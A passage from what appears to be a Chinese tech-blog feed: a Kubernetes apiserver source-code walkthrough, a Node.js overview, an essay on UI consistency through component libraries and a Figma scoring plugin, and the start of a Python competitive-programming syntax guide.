       apiGroupInfo.VersionedResourcesStorageMap[v1.SchemeGroupVersion.Version] = storage
    }
    if err := s.GenericAPIServer.InstallAPIGroup(&apiGroupInfo); err != nil {
       return nil, err
    }

    // 3. 配置informer
    crdClient, err := clientset.NewForConfig(s.GenericAPIServer.LoopbackClientConfig)
    if err != nil {
       // it's really bad that this is leaking here, but until we can fix the test (which I'm pretty sure isn't even testing what it wants to test),
       // we need to be able to move forward
       return nil, fmt.Errorf("failed to create clientset: %v", err)
    }
    s.Informers = externalinformers.NewSharedInformerFactory(crdClient, 5*time.Minute)

    // 4. 配置crd handler,包含versionDiscoveryHandler、groupDiscoveryHandler等
    delegateHandler := delegationTarget.UnprotectedHandler()
    if delegateHandler == nil {
       delegateHandler = http.NotFoundHandler()
    }
    versionDiscoveryHandler := &versionDiscoveryHandler{
       discovery: map[schema.GroupVersion]*discovery.APIVersionHandler{},
       delegate:  delegateHandler,
    }
    groupDiscoveryHandler := &groupDiscoveryHandler{
       discovery: map[string]*discovery.APIGroupHandler{},
       delegate:  delegateHandler,
    }
    establishingController := establish.NewEstablishingController(s.Informers.Apiextensions().V1().CustomResourceDefinitions(), crdClient.ApiextensionsV1())
    crdHandler, err := NewCustomResourceDefinitionHandler(
       versionDiscoveryHandler,
       groupDiscoveryHandler,
       s.Informers.Apiextensions().V1().CustomResourceDefinitions(),
       delegateHandler,
       c.ExtraConfig.CRDRESTOptionsGetter,
       c.GenericConfig.AdmissionControl,
       establishingController,
       c.ExtraConfig.ServiceResolver,
       c.ExtraConfig.AuthResolverWrapper,
       c.ExtraConfig.MasterCount,
       s.GenericAPIServer.Authorizer,
       c.GenericConfig.RequestTimeout,
       time.Duration(c.GenericConfig.MinRequestTimeout)*time.Second,
       apiGroupInfo.StaticOpenAPISpec,
       c.GenericConfig.MaxRequestBodyBytes,
    )
    if err != nil {
       return nil, err
    }
    s.GenericAPIServer.Handler.NonGoRestfulMux.Handle("/apis", crdHandler)
    s.GenericAPIServer.Handler.NonGoRestfulMux.HandlePrefix("/apis/", crdHandler)
    s.GenericAPIServer.RegisterDestroyFunc(crdHandler.destroy)

    // 5. 配置controller
    aggregatedDiscoveryManager := genericServer.AggregatedDiscoveryGroupManager
    if aggregatedDiscoveryManager != nil {
       aggregatedDiscoveryManager = aggregatedDiscoveryManager.WithSource(aggregated.CRDSource)
    }
    discoveryController := NewDiscoveryController(s.Informers.Apiextensions().V1().CustomResourceDefinitions(), versionDiscoveryHandler, groupDiscoveryHandler, aggregatedDiscoveryManager)
    namingController := status.NewNamingConditionController(s.Informers.Apiextensions().V1().CustomResourceDefinitions(), crdClient.ApiextensionsV1())
    nonStructuralSchemaController := nonstructuralschema.NewConditionController(s.Informers.Apiextensions().V1().CustomResourceDefinitions(), crdClient.ApiextensionsV1())
    apiApprovalController := apiapproval.NewKubernetesAPIApprovalPolicyConformantConditionController(s.Informers.Apiextensions().V1().CustomResourceDefinitions(), crdClient.ApiextensionsV1())
    finalizingController := finalizer.NewCRDFinalizer(s.Informers.Apiextensions().V1().CustomResourceDefinitions(), crdClient.ApiextensionsV1(), crdHandler)

    // 6. 注册postStartHook,用来启动组件
    s.GenericAPIServer.AddPostStartHookOrDie("start-apiextensions-informers", func(context genericapiserver.PostStartHookContext) error {
       ...
    })
    s.GenericAPIServer.AddPostStartHookOrDie("start-apiextensions-controllers", func(context genericapiserver.PostStartHookContext) error {
       ...
    })
    s.GenericAPIServer.AddPostStartHookOrDie("crd-informer-synced", func(context genericapiserver.PostStartHookContext) error {
       ...
    })

    return s, nil
}
5.3.1.1 创建genericServer
func (c completedConfig) New(name string, delegationTarget DelegationTarget) (*GenericAPIServer, error) {
    ...
    
    // 1. 创建handlerChainBuilder,用于创建handlerChain
    handlerChainBuilder := func(handler http.Handler) http.Handler {
       return c.BuildHandlerChainFunc(handler, c.Config)
    }
    
    // 2. 重点:创建handler
    apiServerHandler := NewAPIServerHandler(name, c.Serializer, handlerChainBuilder, delegationTarget.UnprotectedHandler())

    // 3. 创建genericServer,大部分属性都是从completeConfig拷贝过来的
    s := &GenericAPIServer{
       discoveryAddresses:             c.DiscoveryAddresses,
       LoopbackClientConfig:           c.LoopbackClientConfig,
       legacyAPIGroupPrefixes:         c.LegacyAPIGroupPrefixes,
       admissionControl:               c.AdmissionControl,
       Serializer:                     c.Serializer,
       AuditBackend:                   c.AuditBackend,
       Authorizer:                     c.Authorization.Authorizer,
       delegationTarget:               delegationTarget,
       EquivalentResourceRegistry:     c.EquivalentResourceRegistry,
       NonLongRunningRequestWaitGroup: c.NonLongRunningRequestWaitGroup,
       WatchRequestWaitGroup:          c.WatchRequestWaitGroup,
       Handler:                        apiServerHandler,
       UnprotectedDebugSocket:         debugSocket,

       listedPathProvider: apiServerHandler,

       minRequestTimeout:                   time.Duration(c.MinRequestTimeout) * time.Second,
       ShutdownTimeout:                     c.RequestTimeout,
       ShutdownDelayDuration:               c.ShutdownDelayDuration,
       ShutdownWatchTerminationGracePeriod: c.ShutdownWatchTerminationGracePeriod,
       SecureServingInfo:                   c.SecureServing,
       ExternalAddress:                     c.ExternalAddress,

       openAPIConfig:           c.OpenAPIConfig,
       openAPIV3Config:         c.OpenAPIV3Config,
       skipOpenAPIInstallation: c.SkipOpenAPIInstallation,

       postStartHooks:         map[string]postStartHookEntry{},
       preShutdownHooks:       map[string]preShutdownHookEntry{},
       disabledPostStartHooks: c.DisabledPostStartHooks,

       healthzRegistry:  healthCheckRegistry{path: "/healthz", checks: c.HealthzChecks},
       livezRegistry:    healthCheckRegistry{path: "/livez", checks: c.LivezChecks, clock: clock.RealClock{}},
       readyzRegistry:   healthCheckRegistry{path: "/readyz", checks: c.ReadyzChecks},
       livezGracePeriod: c.LivezGracePeriod,

       DiscoveryGroupManager: discovery.NewRootAPIsHandler(c.DiscoveryAddresses, c.Serializer),

       maxRequestBodyBytes: c.MaxRequestBodyBytes,

       lifecycleSignals:       c.lifecycleSignals,
       ShutdownSendRetryAfter: c.ShutdownSendRetryAfter,

       APIServerID:           c.APIServerID,
       StorageVersionManager: c.StorageVersionManager,

       Version: c.Version,

       muxAndDiscoveryCompleteSignals: map[string]<-chan struct{}{},
    }

    ...
    
    // 4. 拷贝delegationTarget的hook,在最后启动aggregateServer时可以启动delegationTarget
    // first add poststarthooks from delegated targets
    for k, v := range delegationTarget.PostStartHooks() {
       s.postStartHooks[k] = v
    }
    for k, v := range delegationTarget.PreShutdownHooks() {
       s.preShutdownHooks[k] = v
    }

    // 5. 添加配置的hook,感觉这里会因为拷贝了delegationTarget的hook导致重复注册导致error呢?
    // add poststarthooks that were preconfigured.  Using the add method will give us an error if the same name has already been registered.
    for name, preconfiguredPostStartHook := range c.PostStartHooks {
       if err := s.AddPostStartHook(name, preconfiguredPostStartHook.hook); err != nil {
          return nil, err
       }
    }

   ...

    return s, nil
}

这里重点看一下创建handler的步骤:

func NewAPIServerHandler(name string, s runtime.NegotiatedSerializer, handlerChainBuilder HandlerChainBuilderFn, notFoundHandler http.Handler) *APIServerHandler {
    // 1. 配置notFoundHandler
    nonGoRestfulMux := mux.NewPathRecorderMux(name)
    if notFoundHandler != nil {
       nonGoRestfulMux.NotFoundHandler(notFoundHandler)
    }

    // 2. 配置gorestfulContainer
    gorestfulContainer := restful.NewContainer()
    gorestfulContainer.ServeMux = http.NewServeMux()
    gorestfulContainer.Router(restful.CurlyRouter{}) // e.g. for proxy/{kind}/{name}/{*}
    gorestfulContainer.RecoverHandler(func(panicReason interface{}, httpWriter http.ResponseWriter) {
       logStackOnRecover(s, panicReason, httpWriter)
    })
    gorestfulContainer.ServiceErrorHandler(func(serviceErr restful.ServiceError, request *restful.Request, response *restful.Response) {
       serviceErrorHandler(s, serviceErr, request, response)
    })

    // 3. 配置未经装饰的handler,当前组件无法处理的请求转给下一个组件处理时不需要再进行校验等工作
    director := director{
       name:               name,
       goRestfulContainer: gorestfulContainer,
       nonGoRestfulMux:    nonGoRestfulMux,
    }

    // 4. handlerChainBuilder使用装饰器模式配置handler,并生成apiServerHandler
    return &APIServerHandler{
       FullHandlerChain:   handlerChainBuilder(director),
       GoRestfulContainer: gorestfulContainer,
       NonGoRestfulMux:    nonGoRestfulMux,
       Director:           director,
    }
}

handlerChainBuilder的逻辑如下:

func DefaultBuildHandlerChain(apiHandler http.Handler, c *Config) http.Handler {
    handler := apiHandler

    handler = filterlatency.TrackCompleted(handler)
    handler = genericapifilters.WithAuthorization(handler, c.Authorization.Authorizer, c.Serializer)
    handler = filterlatency.TrackStarted(handler, c.TracerProvider, "authorization")
    
    ...
    
    return handler
}

这里就做了一件事:利用装饰器模式在正式使用director处理请求之前做一些校验等操作。

而director只实现了一个方法:ServeHTTP,将director做成一个handler:

func (d director) ServeHTTP(w http.ResponseWriter, req *http.Request) {
    path := req.URL.Path

    // check to see if our webservices want to claim this path
    for _, ws := range d.goRestfulContainer.RegisteredWebServices() {
       switch {
       case ws.RootPath() == "/apis":
          // if we are exactly /apis or /apis/, then we need special handling in loop.
          // normally these are passed to the nonGoRestfulMux, but if discovery is enabled, it will go directly.
          // We can't rely on a prefix match since /apis matches everything (see the big comment on Director above)
          if path == "/apis" || path == "/apis/" {
             klog.V(5).Infof("%v: %v %q satisfied by gorestful with webservice %v", d.name, req.Method, path, ws.RootPath())
             // don't use servemux here because gorestful servemuxes get messed up when removing webservices
             // TODO fix gorestful, remove TPRs, or stop using gorestful
             d.goRestfulContainer.Dispatch(w, req)
             return
          }

       case strings.HasPrefix(path, ws.RootPath()):
          // ensure an exact match or a path boundary match
          if len(path) == len(ws.RootPath()) || path[len(ws.RootPath())] == '/' {
             klog.V(5).Infof("%v: %v %q satisfied by gorestful with webservice %v", d.name, req.Method, path, ws.RootPath())
             // don't use servemux here because gorestful servemuxes get messed up when removing webservices
             // TODO fix gorestful, remove TPRs, or stop using gorestful
             d.goRestfulContainer.Dispatch(w, req)
             return
          }
       }
    }

    // if we didn't find a match, then we just skip gorestful altogether
    klog.V(5).Infof("%v: %v %q satisfied by nonGoRestful", d.name, req.Method, path)
    d.nonGoRestfulMux.ServeHTTP(w, req)
}

// d.nonGoRestfulMux.ServeHTTP(w, req)会转到这儿
// ServeHTTP makes it an http.Handler
func (h *pathHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if exactHandler, ok := h.pathToHandler[r.URL.Path]; ok {
       klog.V(5).Infof("%v: %q satisfied by exact match", h.muxName, r.URL.Path)
       exactHandler.ServeHTTP(w, r)
       return
    }

    for _, prefixHandler := range h.prefixHandlers {
       if strings.HasPrefix(r.URL.Path, prefixHandler.prefix) {
          klog.V(5).Infof("%v: %q satisfied by prefix %v", h.muxName, r.URL.Path, prefixHandler.prefix)
          prefixHandler.handler.ServeHTTP(w, r)
          return
       }
    }

    klog.V(5).Infof("%v: %q satisfied by NotFoundHandler", h.muxName, r.URL.Path)
    h.notFoundHandler.ServeHTTP(w, r)
}

director先用goRestfulContainer判断是否处理,再尝试用nonGoRestfulMux处理,最后无法处理的用notFoundHandler进行处理,也就是说director前面做校验等操作的时候并没有判断是否处理,而是在director里面判断是否由当前的组件处理请求,如果处理不了,就转给下一个组件进行处理,为了避免重复做校验这些操作,所以要保留直接处理请求的director,传给上一个组件作为notFoundHandler。

5.3.2 创建kubeApiServer

image.png

相关代码如下:

func (c completedConfig) New(delegationTarget genericapiserver.DelegationTarget) (*Instance, error) {
    ...
    
    // 1. 创建genericServer和restStorageProviders
    s, err := c.GenericConfig.New("kube-apiserver", delegationTarget)
    if err != nil {
       return nil, err
    }

    ...
    
    m := &Instance{
       GenericAPIServer:          s,
       ClusterAuthenticationInfo: c.ExtraConfig.ClusterAuthenticationInfo,
    }

    ...
    
    // 2. 配置restStorageProviders
    legacyRESTStorageProvider和, err := corerest.New(corerest.Config{
       GenericConfig: corerest.GenericConfig{
          StorageFactory:              c.ExtraConfig.StorageFactory,
          EventTTL:                    c.ExtraConfig.EventTTL,
          LoopbackClientConfig:        c.GenericConfig.LoopbackClientConfig,
          ServiceAccountIssuer:        c.ExtraConfig.ServiceAccountIssuer,
          ExtendExpiration:            c.ExtraConfig.ExtendExpiration,
          ServiceAccountMaxExpiration: c.ExtraConfig.ServiceAccountMaxExpiration,
          APIAudiences:                c.GenericConfig.Authentication.APIAudiences,
          Informers:                   c.ExtraConfig.VersionedInformers,
       },
       Proxy: corerest.ProxyConfig{
          Transport:           c.ExtraConfig.ProxyTransport,
          KubeletClientConfig: c.ExtraConfig.KubeletClientConfig,
       },
       Services: corerest.ServicesConfig{
          ClusterIPRange:          c.ExtraConfig.ServiceIPRange,
          SecondaryClusterIPRange: c.ExtraConfig.SecondaryServiceIPRange,
          NodePortRange:           c.ExtraConfig.ServiceNodePortRange,
          IPRepairInterval:        c.ExtraConfig.RepairServicesInterval,
       },
    })
    if err != nil {
       return nil, err
    }

    // The order here is preserved in discovery.
    // If resources with identical names exist in more than one of these groups (e.g. "deployments.apps"" and "deployments.extensions"),
    // the order of this list determines which group an unqualified resource name (e.g. "deployments") should prefer.
    // This priority order is used for local discovery, but it ends up aggregated in `k8s.io/kubernetes/cmd/kube-apiserver/app/aggregator.go
    // with specific priorities.
    // TODO: describe the priority all the way down in the RESTStorageProviders and plumb it back through the various discovery
    // handlers that we have.
    restStorageProviders := []RESTStorageProvider{
       legacyRESTStorageProvider,
       apiserverinternalrest.StorageProvider{},
       authenticationrest.RESTStorageProvider{Authenticator: c.GenericConfig.Authentication.Authenticator, APIAudiences: c.GenericConfig.Authentication.APIAudiences},
       authorizationrest.RESTStorageProvider{Authorizer: c.GenericConfig.Authorization.Authorizer, RuleResolver: c.GenericConfig.RuleResolver},
       autoscalingrest.RESTStorageProvider{},
       batchrest.RESTStorageProvider{},
       certificatesrest.RESTStorageProvider{},
       coordinationrest.RESTStorageProvider{},
       discoveryrest.StorageProvider{},
       networkingrest.RESTStorageProvider{},
       noderest.RESTStorageProvider{},
       policyrest.RESTStorageProvider{},
       rbacrest.RESTStorageProvider{Authorizer: c.GenericConfig.Authorization.Authorizer},
       schedulingrest.RESTStorageProvider{},
       storagerest.RESTStorageProvider{},
       svmrest.RESTStorageProvider{},
       flowcontrolrest.RESTStorageProvider{InformerFactory: c.GenericConfig.SharedInformerFactory},
       // keep apps after extensions so legacy clients resolve the extensions versions of shared resource names.
       // See https://github.com/kubernetes/kubernetes/issues/42392
       appsrest.StorageProvider{},
       admissionregistrationrest.RESTStorageProvider{Authorizer: c.GenericConfig.Authorization.Authorizer, DiscoveryClient: discoveryClientForAdmissionRegistration},
       eventsrest.RESTStorageProvider{TTL: c.ExtraConfig.EventTTL},
       resourcerest.RESTStorageProvider{},
    }
    
    // 3. installAPI
    if err := m.InstallAPIs(c.ExtraConfig.APIResourceConfigSource, c.GenericConfig.RESTOptionsGetter, restStorageProviders...); err != nil {
       return nil, err
    }

    // 4. 添加postStartHook
    m.GenericAPIServer.AddPostStartHookOrDie("start-system-namespaces-controller", func(hookContext genericapiserver.PostStartHookContext) error {
      ...
    })

    kubernetesServiceCtrl := kubernetesservice.New(kubernetesservice.Config{
       PublicIP: c.GenericConfig.PublicAddress,

       EndpointReconciler: c.ExtraConfig.EndpointReconcilerConfig.Reconciler,
       EndpointInterval:   c.ExtraConfig.EndpointReconcilerConfig.Interval,

       ServiceIP:                 c.ExtraConfig.APIServerServiceIP,
       ServicePort:               c.ExtraConfig.APIServerServicePort,
       PublicServicePort:         publicServicePort,
       KubernetesServiceNodePort: c.ExtraConfig.KubernetesServiceNodePort,
    }, clientset, c.ExtraConfig.VersionedInformers.Core().V1().Services())
    m.GenericAPIServer.AddPostStartHookOrDie("bootstrap-controller", func(hookContext genericapiserver.PostStartHookContext) error {
       kubernetesServiceCtrl.Start(hookContext.StopCh)
       return nil
    })
    m.GenericAPIServer.AddPreShutdownHookOrDie("stop-kubernetes-service-controller", func() error {
       kubernetesServiceCtrl.Stop()
       return nil
    })

    ...

    return m, nil
}

5.3.3 创建apiExtensionServer

image.png

相关代码如下:

func createAggregatorServer(aggregatorConfig aggregatorapiserver.CompletedConfig, delegateAPIServer genericapiserver.DelegationTarget, apiExtensionInformers apiextensionsinformers.SharedInformerFactory, crdAPIEnabled bool) (*aggregatorapiserver.APIAggregator, error) {
    // 1. 创建aggregatorServer
    aggregatorServer, err := aggregatorConfig.NewWithDelegate(delegateAPIServer)
    if err != nil {
       return nil, err
    }

    // 2. create controllers for auto-registration
    apiRegistrationClient, err := apiregistrationclient.NewForConfig(aggregatorConfig.GenericConfig.LoopbackClientConfig)
    if err != nil {
       return nil, err
    }
    autoRegistrationController := autoregister.NewAutoRegisterController(aggregatorServer.APIRegistrationInformers.Apiregistration().V1().APIServices(), apiRegistrationClient)
    apiServices := apiServicesToRegister(delegateAPIServer, autoRegistrationController)
    crdRegistrationController := crdregistration.NewCRDRegistrationController(
       apiExtensionInformers.Apiextensions().V1().CustomResourceDefinitions(),
       autoRegistrationController)

    ...

    // 3. 注册postStartHook
    err = aggregatorServer.GenericAPIServer.AddPostStartHook("kube-apiserver-autoregistration", func(context genericapiserver.PostStartHookContext) error {
       ...
    })

    ...

    return aggregatorServer, nil
}
5.3.3.1 创建aggregatorServer
// NewWithDelegate returns a new instance of APIAggregator from the given config.
func (c completedConfig) NewWithDelegate(delegationTarget genericapiserver.DelegationTarget) (*APIAggregator, error) {
    // 1. 创建genericServer
    genericServer, err := c.GenericConfig.New("kube-aggregator", delegationTarget)
    if err != nil {
       return nil, err
    }

    ...

    // 2. 创建一个通道 apiServiceRegistrationControllerInitiated,用于通知其他组件 API 服务注册控制器已经完成初始化。
    apiServiceRegistrationControllerInitiated := make(chan struct{})
    if err := genericServer.RegisterMuxAndDiscoveryCompleteSignal("APIServiceRegistrationControllerInitiated", apiServiceRegistrationControllerInitiated); err != nil {
       return nil, err
    }

    ...

    // 3. 创建APIAggregator实例
    s := &APIAggregator{
       GenericAPIServer:           genericServer,
       delegateHandler:            delegationTarget.UnprotectedHandler(),
       proxyTransportDial:         proxyTransportDial,
       proxyHandlers:              map[string]*proxyHandler{},
       handledGroupVersions:       map[string]sets.Set[string]{},
       lister:                     informerFactory.Apiregistration().V1().APIServices().Lister(),
       APIRegistrationInformers:   informerFactory,
       serviceResolver:            c.ExtraConfig.ServiceResolver,
       openAPIConfig:              c.GenericConfig.OpenAPIConfig,
       openAPIV3Config:            c.GenericConfig.OpenAPIV3Config,
       proxyCurrentCertKeyContent: func() (bytes []byte, bytes2 []byte) { return nil, nil },
       rejectForwardingRedirects:  c.ExtraConfig.RejectForwardingRedirects,
    }

    ...

    // 4. install api
    apiGroupInfo := apiservicerest.NewRESTStorage(c.GenericConfig.MergedResourceConfig, c.GenericConfig.RESTOptionsGetter, resourceExpirationEvaluator.ShouldServeForVersion(1, 22))
    if err := s.GenericAPIServer.InstallAPIGroup(&apiGroupInfo); err != nil {
       return nil, err
    }

    ...

    // 5. 设置可用性控制器
    availableController, err := statuscontrollers.NewAvailableConditionController(
       informerFactory.Apiregistration().V1().APIServices(),
       c.GenericConfig.SharedInformerFactory.Core().V1().Services(),
       c.GenericConfig.SharedInformerFactory.Core().V1().Endpoints(),
       apiregistrationClient.ApiregistrationV1(),
       proxyTransportDial,
       (func() ([]byte, []byte))(s.proxyCurrentCertKeyContent),
       s.serviceResolver,
    )
    if err != nil {
       return nil, err
    }

    // 6. 注册postStartHook
    s.GenericAPIServer.AddPostStartHookOrDie("start-kube-aggregator-informers", func(context genericapiserver.PostStartHookContext) error {
       ...
    })
    s.GenericAPIServer.AddPostStartHookOrDie("apiservice-registration-controller", func(context genericapiserver.PostStartHookContext) error {
       ...
    })
    s.GenericAPIServer.AddPostStartHookOrDie("apiservice-status-available-controller", func(context genericapiserver.PostStartHookContext) error {
       ...
    })

    ...

    return s, nil
}

by yimi at January 30, 2025 03:43 PM

juejin frontend

Node.js 的底层原理

Node.js 的底层原理

1. 事件驱动和非阻塞 I/O

  • Node.js 基于 Chrome V8 引擎,使用 JavaScript 作为开发语言。
  • 它采用事件驱动和非阻塞 I/O 模型,使其轻量且高效。
  • 通过 libuv 库实现跨平台的异步 I/O,包括文件操作、网络请求等。

2. 单线程事件循环

  • Node.js 使用单个线程来处理所有请求,通过事件循环机制来管理并发。
  • 事件循环不断检查是否有待处理的事件或回调函数,并依次执行它们。
  • 这种模型避免了多线程的复杂性,同时保持了高性能。

3. 模块化系统

  • Node.js 有一个内置的模块系统,允许开发者通过 requiremodule.exports 来组织和复用代码。
  • 核心模块提供了基础的 API,如文件系统操作、网络通信等。
  • 第三方模块可以通过 npm(Node Package Manager)进行安装和管理。

4. 异步编程模型

  • 大多数 Node.js API 都是异步的,使用回调函数、Promise 或 async/await 进行错误处理和结果获取。
  • 这种设计使得 Node.js 能够高效处理大量并发请求,而不会阻塞主线程。

应用场景

1. 实时应用

  • 在线聊天应用
  • 实时通知系统
  • 博客评论和点赞功能

2. API 和微服务

  • 构建 RESTful API
  • 开发微服务架构的应用
  • 实现 GraphQL 服务器

3. 数据流处理

  • 文件上传和处理
  • 实时数据流分析
  • 日志处理和监控

4. 命令行工具

  • 自动化脚本
  • 包管理和构建工具
  • 数据备份和迁移

5. 游戏服务器

  • 多人在线游戏
  • 实时对战系统
  • 游戏状态同步

6. IoT 和嵌入式系统

  • 设备控制和监控
  • 数据采集和分析
  • 实时通信和消息传递

总结

Node.js 的底层原理基于事件驱动和非阻塞 I/O,通过单线程事件循环机制实现高效的并发处理。它的模块化系统和异步编程模型使得开发者能够快速构建各种类型的应用。Node.js 适用于需要高并发、实时交互和数据处理的应用场景,从简单的命令行工具到复杂的实时系统都能胜任。

by 阿芯爱编程 at January 30, 2025 03:23 PM

从组件库到用户体验一致性保障体系

几乎每个前端团队都会用到组件库,很多团队会有自己的组件库。然而大家都在做组件库,怎么脱颖而出,让自己与众不同?不妨看看我的这篇文章。

背景

在业务快速发展过程中,我们的用户体验出现了一些不一致的情况。例如,同样的按钮在不同页面中样式和位置都不统一,对话弹出的确认按钮一下在左边一下在右边。

带来的影响

  1. 给用户带来不好的体验,可能削弱品牌形象
  2. 不一致的交互设计增加了用户的学习成本,降低了转化率
  3. 重复设计与开发不一致的产品,浪费了资源
  4. 优秀的实践难以推广,问题修复效率低下。

问题

要提升一致性,我们需要解决几个问题

  1. 怎么衡量一致性

一致性是一个有点抽象的东西,我们不能对一个设计师和研发说,你的工作一致性不高,想办法提升一下。我们有没有办法去衡量我们的一致性?就跟不知道性能数据就很难优化性能一样,如果我们不能衡量一致性,也就很难去提升一致性

  1. 怎么提高一致性

在这里,我们决定使用组件化来提高我们的一致性,我们的关键点就是怎么产出高性能,可维护,与设计风格一致,易于开发和适用的组件

  1. 找出一致性差的原因

其实研发和设计都有使用组件的概念,但是大家都是各自为政,用自己写的组件,但不同人的组件,API 和样式很容易不一样,造成看上去很相似,但实质不一致又很难发现 原因有以下几点: - 信息的不足:不知道该用什么组件,组件应该怎么用,组件用错了也难以意识到 - 对一致性的恐惧:不愿意使用公用组件,怕影响业务,不愿意修改公用组件,怕影响大家 - 懒于改变:在没有约束的情况下,人还是喜欢走捷径和按旧的用法来行动。

  1. 怎么保障一致性

这里的问题是,在我们提升一致性后,怎么保障设计师和开发者去维持我们的一致性?

解决方案

为了提升一致性,我主导了一套方案,从设计到研发、上线的全流程,全方面保障体验一致性。通过技术驱动解决这些问题,提升我们的用户体验。

设计阶段

基于我们设计师使用的 figma 平台,开发了一款设计系统插件,该插件用于检测设计稿是否规范使用了标准组件,并生成评分,便于设计师优化工作,帮助团队逐步形成组件化意识。

这里简单讲一下该插件的工作原理:

figma 平台是基于 js 的,有这么一些特点:

  1. 前端工程师可以像写 chrome 插件一样轻松的写 figma 插件
  2. 设计师使用组件来绘制设计稿,是类似编程中的类和实例概念。是从master component 中生成一个 instance 到设计稿中
  3. figma 的插件支持对 master component 添加可以被 instance 继承的属性
  4. figma 插件可以对 instance 上的属性进行分析,统计

基于以上几点,我们开发了一个插件,有这么几个功能。

  1. 给符合设计规范的 master component 添加属性,比如 tag , 在设计师使用该 maste component 生成新的 instance 后,新的 instance 就会带有对应的 tag

  2. 对设计稿进行审查,审查的过程如下:

    a. 找出设计稿中带有tag 的全部元素,计算他们的元素数量 X

    b. 计算设计稿全部的元素的数量 Y

    c. 计算 X / Y * 100 ,得到一致性分数

一个方便理解的例子:

一个设计稿 A 有 100 个元素,只用了一个包含 20个 元素的标准组件,我们可以认为该设计稿的一致性分数为 20/100 * 100 = 20分。而有 120个元素的设计稿 B 与设计稿 A 有这类似的设计,用了三个标准组件,这些组件包含了 60个元素,一致性分数为 60 / 120 * 100 = 50, 高于 A,我们就可以认为设计稿 B 的一致性比 A 更高。

设计师在使用插件计算完一致性分数后,需要将最后的分数截图贴到设计稿中,供设计团队和研发审查

带来的好处:

  • 设计师可以更多的关注标准组件的使用
  • 设计团队的管理者和负责人,可以定期去分析设计稿的一致性分数,观察团队对于标准组件的使用情况
  • 研发可以通过审查设计稿,对于一致性分数特别低的,拒绝开发并要求设计师进行修改

研发阶段

组件库的研发

  • 搭建了按基础组件、业务组件和解决方案分层,基于 monorepo 的组件库
  • 提供包含 API 和 DEMO 的组件文档站点和交流群,供研发快速查阅与交流,解决信息不全的问题
  • 增加了 eslintstylelint、单元测试等质量保障措施,确保组件的可用性和一致性。提升大家应用组件的信心。
  • 增加发布日志和发布文档

组件库的推广

  • 组织团队内的宣讲和培训
  • 建立体验一致性核查机制,推动测试、设计和产品共同关注用户体验一致性。

组件库的应用

  • 配置eslintd1 no-restricted-imports 规则,禁止使用不规范组件,使用不规范的组件会 eslint 报错,让页面发布失败,从而让标准组件的应用成为我们研发的必备环节
  • 通过埋点统计全局组件的使用情况

发布与监控阶段

  • 开发了 Chrome 插件,使用类似 figma 插件的原理,检测线上页面组件覆盖率,确保组件得到正确应用。
  • 使用埋点监控分析组件带来的优化效果,为后续改进提供数据支持。同时避免一致性优化脱离业务,争取产品经理和研发负责人的支持。

最终成果

  • 组件在整个团队中得到广泛使用并参与研发迭代
  • 设计插件在公司全体设计师中得到了应用
  • 提升了用户体验的一致性并提升用户转化率。
  • 降低了重复设计与开发成本,提升了团队效率。

by hpoenixf at January 30, 2025 03:03 PM

一文学习python算法比赛常用语法 —— AI时代学习新范式🚀🚀🚀

提示词

我最近正在准备python组算法竞赛,由于我之前是 c++选手 , 对于python的一些算法竞赛常用的语法和工具不是很熟悉,你现在充当我的竞赛导师,指导我学习python用于算法竞赛的知识。

包括但不仅限于以下问题的作答:

1.最基本的数字,字符串,字符等的输入输出,还有字符串,数字的一些操作等等,特别例如多个数字,字符的读取(输入之间有空格)等等。

2.常用数据结构的操控(每一种的增删改查,排序,反转等等),此外对于py数组,你需要重点讲解每一个部分。尤其是算法竞赛常用的 , 比如优先队列 ,等等

3.py一些语法特性例如语法糖等等,有很多不要仅提供语法糖的介绍。

4.自带的算法库,例如排序等等,注意,不要仅提供排序的介绍 , 需要有多重排序方式 , 比如升降序 , 自定义排序 ;

注意:

1.注意须要保证全面且易懂,且非常详细,复杂的地方标注注释。不用担心篇幅不够,有多少写多少。

2.对于每一个知识点,给出不下于15个的案例,每个案例都包含不同的知识,就是不重复,并且配有详细的注释和说明。

3.针对算法竞赛,python一些独有的技巧你要给出介绍,另外Python比较由于其他语言的功能或语法工具等的优势你要提一下(例如整形不会溢出)。

5.上述我所要求的内容只是给你一个说明,只是告诉你你应该写哪些内容,但远远不仅仅只是这些,你需要考虑和扩展更多。

6.蓝桥杯官方要求的是只能使用Python3.8版本,且只能使用Python自带的库与语法等等,也就是你从官网安装的原生的Python,你给的示例里不应该包含其他库,例如需要pip或者conda安装的库。

关于你的作答:

1.你的制造者限制了你一次回答的最大输出字符量,我不知道你是否知道这件事情,他们应该没有告诉你,这样的话在一次性的对话里你肯定无法将所有的内容展现出来。但是现在你知道了,所以不用担心字数,尽可能多的写,如果你的输出出现中断我会说继续,这样你就接着写。

2.如果你的输出出现了中断,且正好在代码块里出现中断,那么接下来回答的时候注意在开头加上```

3.请注意格式,标题,序号等等。

Python 算法竞赛指南

一、基本输入输出与字符串、数字操作

1.1 基本输入输出

Python 中的 input() 函数用于获取用户输入,print() 函数用于输出。对于算法竞赛来说,掌握如何快速读取和处理数据是非常重要的。

  • 单个值的输入输出
# 输入一个整数并输出
n = int(input())
print(n)

# 输入一个浮点数并输出
f = float(input())
print(f)

# 输入一个字符串并输出
s = input()
print(s)
  • 多个值的输入(以空格分隔)
# 输入一行包含多个整数,并将它们转换为列表
nums = list(map(int, input().split()))
print(nums)

# 输入一行包含多个浮点数,并将它们转换为列表
floats = list(map(float, input().split()))
print(floats)

# 输入一行包含多个字符串,并将它们转换为列表
words = input().split()
print(words)
  • 多行输入
# 输入 n 行,每行一个整数
n = int(input())
numbers = [int(input()) for _ in range(n)]
print(numbers)

# 输入 n 行,每行多个整数
n = int(input())
matrix = [list(map(int, input().split())) for _ in range(n)]
print(matrix)

1.2 字符串操作

字符串是算法竞赛中常见的数据类型之一,了解其常用操作可以提高解题效率。

  • 字符串拼接
# 使用 + 拼接字符串
s1 = "Hello"
s2 = "World"
result = s1 + " " + s2
print(result)  # 输出: Hello World

# 使用 join() 方法拼接字符串列表
words = ["Hello", "World"]
result = " ".join(words)
print(result)  # 输出: Hello World
  • 字符串切片
# 获取字符串的子串
s = "HelloWorld"
print(s[0:5])   # 输出: Hello
print(s[5:])    # 输出: World
print(s[:5])    # 输出: Hello
print(s[-5:])   # 输出: World
print(s[::-1])  # 输出: dlroWolleH (反转字符串)
  • 字符串查找
# 查找子串的位置
s = "HelloWorld"
print(s.find("World"))  # 输出: 5
print(s.index("World"))  # 输出: 5 (如果找不到会抛出异常)

# 统计子串出现次数
print(s.count("l"))  # 输出: 3
  • 字符串替换
# 替换子串
